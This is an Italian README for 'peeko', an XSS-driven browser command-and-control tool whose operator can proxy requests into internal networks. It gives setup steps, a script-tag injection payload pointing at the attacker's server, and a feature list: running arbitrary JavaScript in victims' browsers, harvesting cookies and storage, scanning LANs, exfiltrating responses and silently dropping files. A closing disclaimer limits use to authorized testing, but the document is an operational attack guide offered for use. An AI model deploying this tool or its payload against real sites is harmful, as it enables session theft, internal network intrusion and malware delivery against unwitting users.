peeko

peeko

Versione: v1.1

peeko è uno strumento C2 (Command and Control) basato sul browser e alimentato da XSS che sfrutta il browser della vittima come proxy invisibile all'interno delle reti interne.

Tramite un payload XSS iniettato, peeko stabilisce una connessione WebSocket a un server centrale, consentendo a un attaccante di controllare da remoto il browser della vittima per inviare richieste ai servizi interni, scansionare reti, esfiltrare dati o persino eseguire JavaScript arbitrario — il tutto senza rilasciare un singolo binario.

---

Funzionalità

• Comunicazione basata su WebSocket tra attaccante e vittime
• Il browser della vittima recupera URL interni e scansiona intervalli IP + porte
• Semplice pannello di controllo con:
  • Selettore vittima
  • Recupero manuale URL
  • Scanner di intervalli IP e porte
  • Esecuzione JS personalizzata (manuale o automatica)
  • Consegna file (automatica/manuale)
  • Raccolta di informazioni del browser e token (cookie, storage, ecc.)
  • Visualizzatore log con copia/salvataggio come .txt o .json
• Supporto HTTPS con certificati autofirmati
• Leggero: singolo file Python + asset statici

---

Requisiti

• Python 3.8+
• OpenSSL
• Linux/macOS (testato su sistemi basati su Debian)

---

Avvio Rapido

1. Clona il repository:

   git clone https://github.com/b3rito/peeko.git
   cd peeko
   

2. Installa le dipendenze:

   make install
   

3. (Opzionale) Rendi eseguibili gli script:

   chmod +x gen-cert.sh start.sh
   

4. Genera il certificato TLS autofirmato:

   make cert
   

5. Sostituisci il segnaposto SERVER-IP:

   Apri e modifica i seguenti file:

   • static/agent.js
   • static/control.html

   Sostituisci SERVER-IP con l'IP/dominio del tuo server:

   wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
   

6. Avvia il server:

   make run
   

7. Apri il pannello di controllo nel tuo browser:

   https://192.168.30.136:8443/static/control.html
   

8. Inietta l'agente (esempio XSS):

   <script src="https://192.168.30.136:8443/static/agent.js"></script>
   

---

Funzionalità del Pannello di Controllo

Funzioni Principali

• Seleziona e gestisci le vittime connesse
• Recupera qualsiasi URL HTTPS interno/esterno tramite la vittima
• Scansiona intervalli LAN: 192.168.1.0/24, 10.0.0.10-20, ecc.
• Scansiona porte o intervalli specifici (es., 80, 443,8000-8080)

Consegna File

• Invia file alla vittima (Base64 tramite WebSocket)
• Il browser della vittima li scarica automaticamente
• Supporta l'upload automatico alla connessione

Raccolta Informazioni

• Raccogli User Agent, piattaforma, referrer, cookie, local/sessionStorage
• Visualizza i risultati in JSON
• Attivata manualmente o raccolta automatica alla connessione

Esecuzione JS Personalizzata

• Esegui JavaScript arbitrario sul browser della vittima
• Usa il formato exec:... per inviare
• Supporta l'esecuzione automatica alla connessione
• Esempio: exec:alert(document.cookie);

Registrazione Log

• Tutto viene registrato (richieste, risposte, dump di informazioni)
• Copia o esporta i log come .txt o .json
• Interfaccia minimalista progettata come un log da terminale

---

CORS e Contenuto Misto Spiegati

Le policy dei browser moderni influenzano ciò a cui peeko può accedere.

Risposte CORS

Header	Può leggere il contenuto?	Note
Access-Control-Allow-Origin: *	✅	Accesso completo alla risposta
Nessun header	⚠️	La risposta è opaca
Origine ristretta	❌	Bloccata o illeggibile

Contenuto Misto

La vittima si connette tramite HTTPS. Se un target scansionato usa solo HTTP:

• Il browser bloccherà le richieste di contenuto misto
• peeko non può leggere da endpoint http://
• Quando scansiona, preferisci sempre target che usano HTTPS

In Pratica

Durante un penetration test, se trovi un servizio interno che risponde con Access-Control-Allow-Origin: * ed è servito su HTTPS, allora peeko diventa un proxy invisibile in grado di esfiltrare dati interni direttamente dal browser della vittima, senza rilasciare file o aprire connessioni in uscita.

---

Struttura del Progetto

peeko/
├── main.py             → FastAPI WebSocket server  
├── start.sh            → Launch server  
├── gen-cert.sh         → Generate self-signed TLS certificate  
├── Makefile            → Install/run helpers  
├── requirements.txt    → Python dependencies  
├── certs/              → TLS key and cert will be stored here  
└── static/             → Browser client assets  
    ├── control.html    → Control panel (was attacker.html)  
    ├── infect.html     → Victim landing page  
    └── agent.js        → Victim agent script  

---

Flusso di Lavoro

1. L'attaccante inietta XSS (tramite vulnerabilità stored o reflected)
2. Il browser della vittima si connette tramite WebSocket al server peeko
3. Il pannello di controllo consente all'attaccante di:
   • Scansionare la rete
   • Recuperare URL
   • Estrarre cookie e storage
   • Eseguire JS arbitrario
   • Esfiltrare le risposte
   • Rilasciare file

---

Casi d'Uso

• Mappatura della rete interna tramite XSS
• Pivoting basato sul browser
• Consegna silenziosa di file / JS dropper

---

Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo e per test autorizzati.
Qualsiasi utilizzo di peeko al di fuori di ambienti in cui hai esplicita autorizzazione è severamente vietato.
Sei responsabile delle tue azioni.

---

Autori

Scritto da b3rito presso mes3hacklab & GioPpeTto